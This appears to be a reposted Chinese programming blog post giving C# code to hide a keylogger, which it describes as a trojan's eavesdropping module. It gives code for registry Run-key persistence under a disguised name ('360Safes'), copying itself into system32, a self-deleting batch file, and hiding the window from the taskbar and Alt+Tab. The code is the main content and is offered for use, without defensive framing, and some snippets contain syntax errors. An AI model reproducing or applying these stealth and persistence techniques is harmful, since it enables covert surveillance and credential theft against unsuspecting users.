程序隱藏啟動的C#實現經驗


鍵盤記錄器也叫鍵盤記錄軟件,詳細記錄登錄者鍵盤操作的記錄,常用於木馬軟件的竊聽、監聽模塊。作者Nothing在實現這個功能的時候把程序如何隱藏啟動的經驗貼出來與大家分享。

一、開機啟動

最基本的是開機自啟動,簡單代碼如下:

開機啟動項有四個可選也可以同時添加

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

命名空間using Microsoft.Win32;

01       /// <summary>
02         /// 開機啟動
03           /// </summary>
04         public void registryRun()
05         {
06             try
07             {
08                 string s = "\""+System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)+"\"";
09                 RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");
10                 key1.SetValue("360Safes",s );
11                 key1.Close();
12             }
13             catch { }
14         }

在注冊表開機啟動項Run中建立了一個鍵360Safes(相對隱蔽一點,隨意),鍵值為拷貝到system32的鍵盤記錄程序。

卸載開機啟動項:

01 public void DeleteRun()
02        {
03            try
04            {
05                RegistryKey key = Registry.LocalMachine;
06                RegistryKey soft = key.OpenSubKey(@"Software\Microsoft\\Windows\CurrentVersion\run"true);
07                if (IsRegeditKeyExist(soft, "360Safes"))
08                {
09                    MessageBox.Show("開機項已刪除!");
10                }
11                else
12                {
13                    MessageBox.Show("該開機項不存在");
14                }
15                key.Close();
16                soft.Close();
17            }
18            catch { }
19        }
20        //判斷鍵值是否存在  有則刪除
21        private bool IsRegeditKeyExist(RegistryKey RegBoot, string RegKeyName)
22        {
23            try
24            {
25                string[] subkeyNames;
26                subkeyNames = RegBoot.GetValueNames();
27                foreach (string keyName in subkeyNames)
28                {
29  
30                    if (keyName == RegKeyName)  //判斷鍵值的名稱
31                    {
32                        RegBoot.DeleteValue(keyName);
33                        RegBoot.Close();
34                        return true;
35                    }
36                }
37                RegBoot.Close();
38                return false;
39            }
40            catch return false; }
41  
42        }

二、首次運行處理

首次運行鍵盤記錄程序有幾步操作(以mm.exe代替鍵盤記錄程序),通過生成的批處理文件刪除運行中的程序解決自刪除問題。

簡要流程:復制自身至system32 → 生成批處理並運行 → 退出程序 → 批處理完成刪除程序,啟動system32下的程序→ 批處理自刪除

1. 判斷當前運行程序mm.exe位置,如果不是位於system32文件夾則復制自身

01 private void MoveFile()
02    {
03        try
04        {
05            if (!File.Exists(System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)))
06            {
07    File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath));
08          }
09        catch { }
10    }

2. 生成一個批處理, 執行刪除文件操作

批處理里會判斷mm.exe是不是存在,如不存在會一直執行刪除,可以保證最終刪除mm.exe。批處理實現是cmd下執行的一段代碼,通過cmd來刪除一個bat文件也不會有問題,所以批處理可以進行自刪除。

01 public static void BeginKillSelf()
02     {
03         try
04         {
05             if (Application.StartupPath != System.Environment.SystemDirectory)
06             {
07                 string vBatFile = Path.GetDirectoryName(Application.ExecutablePath) + "\\a.bat";
08                 using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
09                 {
10                     vStreamWriter.Write(string.Format(
11                     ":del\r\n" +
12                     " del \"{0}\"\r\n" +
13                     "if exist \"{0}\" goto del\r\n" +
14                     "start \"\"  \"{1}\" \r\n" +  //啟動system32下的mm.exe
15                     "del %0\r\n", Application.ExecutablePath,  System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)) +                 // 刪除mm.exe
16                     "exit"  //退出cmd
17                     );
18                 }
19               WinExec(vBatFile, 0); Environment.Exit(0);
20             }
21            }
22  
23        catch { }
24        }

 

WinExec是Windows API,聲明如下:

1 [DllImport("kernel32.dll")]
2   public static extern uint WinExec(string lpCmdLine, uint uCmdShow);

3. mm.exe退出程序,批處理得以刪除mm.exe

徹底退出程序用

1 Application.Exit();

4. 批處理運行System32下的mm.exe,再刪除自身

 

三、只允許一個進程實例

啟動時檢查進程,如果發現程序已經運行則退出

01 private void RunAProcessAtOnce()
02   {
03       System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(
04          System.Diagnostics.Process.GetCurrentProcess().ProcessName);
05       if (pProcesses.Length > 1)
06       {
07           Application.Exit();
08           return;
09       }
10   }

四、徹底窗體隱藏

徹底的將窗體隱藏有以下幾條:

1.  窗體的ShowInTaskbar屬性設為false

    WindowState設為啟動最小化

    FormBordStyle為None

2. 隱藏Alt+Tab里的圖標

重載SetVisibleCore

1 protected override void SetVisibleCore(bool value)
2       {
3           base.SetVisibleCore(value);
4       }

然后在窗體的Load事件寫入 SetVisibleCore(false);即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM